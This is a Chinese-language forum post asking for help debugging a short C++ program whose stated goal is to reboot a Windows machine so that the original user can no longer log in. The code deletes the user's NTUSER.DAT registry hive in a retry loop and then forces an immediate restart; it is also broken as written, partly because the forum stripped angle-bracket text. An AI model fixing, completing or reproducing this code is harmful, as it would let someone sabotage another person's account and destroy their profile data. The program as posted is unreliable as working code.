求纠错
本帖最后由 cra 于 2024-9-18 11:28 AM 编辑#include<io.h>
#include<iostream>
#include<cstdio>
#include<cstring>
#include<string>
#include<Windows.h>
using namespace std;
const char* getusername(char *envp[]) {
string ienvp(envp),name;
name.clear();
for(int i=0;i<ienvp.length()-9;i++) name+=ienvp;
return name.c_str();
}
inline void deletefile(char *path) {
if(access(path,F_OK)!=-1) do{} while(remove(path)==EOF);
}
int main(int argc,char *argv[],char *envp[]) {
char path="C:\\Users\\";
string name(getusername(envp));
strcat(path,name.c_str());
strcat(path,"\\NTUSER.DAT");
deletefile(path);
system("shutdown -r -t 0");
return 0;
}
目标:运行后重启并无法正常登录原用户
结果:重启后啥都没出现 <>号中的内容因为HTML被搞没了,不是错误
页:
[1]